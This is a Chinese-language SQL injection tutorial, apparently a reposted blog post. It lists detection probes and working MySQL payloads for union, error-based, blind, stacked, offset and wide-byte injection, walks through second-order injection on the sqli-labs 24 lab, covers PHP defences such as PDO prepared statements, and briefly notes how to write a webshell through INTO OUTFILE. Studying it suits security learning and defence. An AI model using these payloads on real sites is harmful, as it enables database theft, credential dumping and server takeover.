sql注入形成原因🍕:
本质:url(浏览器搜索框)输入转换成后端向数据库查询语句的转变解析,根据进行精心构造url输入想要得到的信息破坏原来查询语句的结构从而达到想要的目的.
荔枝:
网页后端代码:
1 //php的后端sql查询语句:
2 $query="select name,age,gender from t_students where id={$_GET['id']}";
网页用户正常输入url显示:
1 1 http://www.xxxxx.com/query.php?id=1
进行攻击构造显示url访问:
1 http://www.xxxxx.com/query.php?id=-1 union select 1,database(),3 --+
网页后端url代码传输数据库解析执行:
1 1 $query="select name,age,gender from t_students where id=-1 union select 1,database(),3 -- ";
可以看出这个网页后端php代码只是进行了简单的用户输入与后端交接查询,没有进行任何拦截过滤.
sql注入是否存在判断手法🍔:
1.and 2.单双引号 3.加减 4.sleep时间
1.and:整型/字符型
and 的意思是“和”如果没有过滤我们的语句,and 1=1就会被代入SQL查询语句进行查询,如果and前后的两条语句都是真的话就不会出错,但如果前后语句有一个为假的话,程序就会暴错。也就表明程序有注入漏洞.
整型:(不需要进行闭合)
and 1=1 –+和and 2=1 –+(返回页面不一样)
字符型:(需要进行闭合)
‘ and ‘1’=1 –+
如后端进行了一些干扰,写了一些代码进行过滤但是过滤不严格:(可以利用以下方法绕过)
- or 2>1 和 or 1>2(or注入只要求前后两个语句只要有一个正确就为真,如果前后两个语句都是正确的,反而为假。or注入时,or后面的语句如果是正确的,则返回错误页面!如果是错误,则返回正确页面)
- xor 1=1; xor 1=2(xor 代表着异或,意思即连接的表达式仅有一个为真的时候才为真。 记住:xor注入时,xor后面的语句如果是正确的,则返回错误页面积,如果是错误,则返回正确页面,说明存在注入点。)
- and 1=1转换成URL编码形式后在提交:and 1=1 URL编码:%41%4E%44%20%%31%3D%31
2.单双引号:(出现错误页面判断网页可能存在sql注入漏洞)
3.加+减-:整型/字符型
整型:?id=1和?id=1+1如果返回的页面和前面不同,则表示有注入漏洞
字符型:没有任何变化,依然是原来的页面.
4.sleep时间:(and sleep (5)判断页面返回时间如果有延迟则有sql注入)
sql注入类型:1.联合 2.报错 3.二次 4.堆叠 5.时间 6.偏移 7.布尔 8.宽字节
推荐一款插件:(它可以获取url栏的数据在网页的下端进行编辑)如图:
- 常使用的一些mysql函数及环境变量:
version()查询MySQL 版本
user() 查询当前数据库用户名
database() 查询当前数据库名
@@version_compile_os 查询操作系统版本
@@datadir 查询数据库路径
group_concat(str1,str2,…) 查询只显示一行是用的,连接一个组的所有数据, 并以逗号分隔每一条数据 - 1.联合注入:
- 适用于有回显同时数据库软件版本是5.0以上的MYSQL数据库。至于为什么需要版本是5.0以上的MYSQL数据库是因为MYSQL会有一个系统数据库information_schema,能很快的通过几条注入语句获取到想要的数据。
-
1 列出所有数据库 : 2 limit 一个一个打印出来库名 3 select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1 4 5 6 group_concat 一次性全部显示 7 select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA 8 9 10 列出(数据库:test)中所有的表 11 limit 一个一个打印出来字段名 12 select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='test' limit 0,1 13 14 group_concat 一次性全部显示 15 select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x674657374 16 注意:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制。 17 18 19 20 列出(数据库:test 表:admin )中所有的字段 21 imit 一个一个打印出来 22 select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='test' and TABLE_NAME='t10' limit 0,1 23 24 group_concat 一次性全部显示 25 select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e 26 27 28 列出(数据库:test 表:admin )中所有的字段内容 29 limit 一个一个打印出来 30 select username,passwd from test.admin limit 0,1 31 32 33 group_concat 把 一次性全部打印 34 select group_concat(concat(username,0x20,passwd)) from test.admin
- 2.报错注入:
- 适用有回显页面输入不是规定的url信息有错误回显信息
-
1 请注意,如果需要全部显示数据库需要用到substr函数 2 select substr(字符串,1,截取长度) 3 select substr((select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA),1,7); 4 5 floor报错 : 6 获取总共多少数据库 7 and (select 1 from(select count(*),concat((select (select (select concat(0x7e,count(schema_name),0x7e) from information_schema.schemata)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) 8 9 列出数据库 10 单个列出 : 11 and(select 1 from (select count(*),concat(concat((select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1)),floor(rand(0)*2))x from information_schema.tables group by x)y) 14 查询表和字段直接把联合注入的payload放进去就可以了 15 and(select 1 from (select count(*),concat(concat((payload),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y) 16 17 ExtractValue报错 18 and extractvalue(1, (concat(0x7e,(payload),0x7e)) 19 and extractvalue(1, concat(0x7e,(select @@version),0x7e)) 20 21 UpdateXML报错 22 and updatexml(1,(payload),1) 23 and updatexml(1, (concat(0x7e,(select user()),0x7e)),1)
- 3.二次注入:
- 适用于用户修改页面等,构造的代码被后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string,导致数据库信息穿插修改
- 荔枝:🌰
-
靶场sqli-lab24为例
1正常来说无法通过注入来登录admin管理员账号
2注册admin ‘#普通账号
3登录admin ‘# 转义成admin\’#,则登录的是admin’#
4修改admin ‘# 由于这里不会被转义,故可以直接利用,这个时候就变成了修改了admin的密码了,所以再次登录admin账号用修改账号登录成功. - 4.堆叠注入:
- 从名词的含义就可以看到应该是一堆 sql 语句 (多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。
-
1 后端代码函数mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句: 2 select * from users;show databases; 3 (一般很少遇到,因为PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限)
- 5.时间注入:
-
1 if(ascii(substr((payload), 1, 1))=114, sleep(5), 1)
- 6.偏移注入:
- 一般用于联合注入,页面有回显的情况.
在SQL注入的时候会遇到一些无法查询列名的问题,比如系统自带数据库的权限不够而无法访问系统自带库。
需要猜到表名无法猜到字段名的情况下,我们可以使用偏移注入来查询那张表里面的数据。
像Sqlmap之类的工具实际上是爆破字段的名字,但是如果字段名称比较奇葩,就无可奈何了
-
1 假设一个表有8个字段,admin表有3个字段。 2 3 联合查询payload:union select 1,2,3,4,5,6,7,8 from admin 4 5 在我们不知道admin有多少字段的情况下可以尝试payload:union select 1,2,3,4,5,6,7,admin.* from admin,此时页面出错 6 7 直到payload:union select 1,2,3,4,5,admin.* from admin时页面返回正常,说明admin表有三个字段 8 9 然后通过移动admin.*的位置,就可以回显不同的数据
- 7.布尔注入:
-
1 and (select ascii(substr((payload), 1, 1)))>105
- 8.宽字节注入:
-
1 GB2312,GBK,GB18030,BIG5等这些都是常见的宽字节,实际为2字节 2 如果使用了类似于set names gbk这样得语句,此时mysql数据库就会将 3 Ascii大于128(%df)得字符当作是汉字字符得一部分,从而能吃掉\,引入单引号或者双引号
sql注入防御🍟:1.pdo预处理 2.过滤字符函数addslaslashes 3.过滤整型函数intval
1.pdo预处理:
将一条SQL命令向数据库服务器发送一次(此时发送的参数不是实参,是占位符),以后参数发生变化,数据库服务器只需对命令的结构做一次分析就够了。
方法1:
1 $stmt = $conn->prepare("insert into categorylink (did,cid) values (:did,:cid)"); 准备语句 2 3 foreach ($row as $key => $value) { 4 $arr = array( 5 ':did' => intval($value['id']), 6 ':cid' => $cid 7 ); 参数数组 8 9 $result = $stmt->execute($arr); 执行语句 10 }
此为数组传参的方法
方法2:
1 $stmt = $conn->prepare("insert into categorylink (did,cid) values (:did,:cid)"); 命名参数 2 $stmt = $conn->prepare("insert into categorylink (did,cid) values (?,?)"); ?参数 3 4 $stmt->bindParam(":did",'121'); 5 $stmt->bindParam(":cid",'232'); 绑定命名参数 6 7 $stmt->bindParam("1",'121'); 8 $stmt->bindParam("2",'232'); 绑定?参数 9 10 $stmt->execute(); 执行语句
此为绑定参数的方法
2.过滤字符函数addslaslashes :
这个函数的意义是:所有的 ‘ (单引号), ” (双引号), (反斜线) and 空字符会自动转为含有反斜线的溢出字符在前面加上反斜杠。
ini系统配置中有类似配置:magic_quotes_gpc
设置是否自动为GPC(get,post,cookie)传来的数据中的’”加上反斜线。可以用get_magic_quotes_gpc
()检测系统设置。它的功能就是给数据库查询语句等的需要在某些字符前加上了反斜线。
一般用作在:
(1)输出数据的时候 (结合使用,输出的时候用htmlspecialchars()函数输出,可以转换html代码为实体,尽量安全一些)
(2)查出数据,要继续使用并存储的时候 (存储一些带特殊字符的字符串时)
(3)接收用户传过来的参数的时候 (这部分是防止用户输入特殊字符或者html代码等。最好是前端做好正则匹配,从开始就限制好)
(4)https://zhidao.baidu.com/question/446575573.html (存数据库,不转义就存不进去)
(5)就是防止sql注入(防止用户输出的sql语句直接操作数据库)
需要注意的点:
(1)现在使用addslashes 函数已经不能完全防止sql注入了。 http://www.php.cn/php-weizijiaocheng-362949.html
(2)在使用之前,先确定php配置文件那个是否是关着的。防止双层转义。 http://blog.51cto.com/5iwww/516981
(3)mysql_real_escape_string 这个函数也是php提供的专门用户防止数据库攻击的过滤函数,比addslashes 更加严格一些。:文档地址:http://www.w3school.com.cn/php/func_mysql_real_escape_string.asp
(4)目前来讲,addslashes 是可以被黑客绕过去的,所以在防止sql注入方面的效果不尽人意,建议尽量使用PDO的prepare方式
3.过滤整型函数intval:
通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
1 int intval ( mixed $var [, int $base = 10 ] )
参数:var要转换成 integer 的数量值。base转化所使用的进制。
如果 base
是 0,通过检测 var
的格式来决定使用的进制:
- 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
- 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
- 将使用 10 进制 (decimal)。
返回值: | 成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。 |
---|---|
PHP 版本: | PHP 4, PHP 5, PHP 7 |
最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。
字符串有可能返回 0,虽然取决于字符串最左侧的字符。
- 渗透入侵写入webshell:
- webshell前提:网站绝对路径/root权限/全局未开启GPC/在ini系统配置文件secure_fill_priv不等于null/有网站读写权限
- 函数:into_outfile(正常写)/dumpfile(二进制写)/loadfile(读)
- 其它:全局日志/慢日志shell
原文地址:http://www.cnblogs.com/guibao/p/16892970.html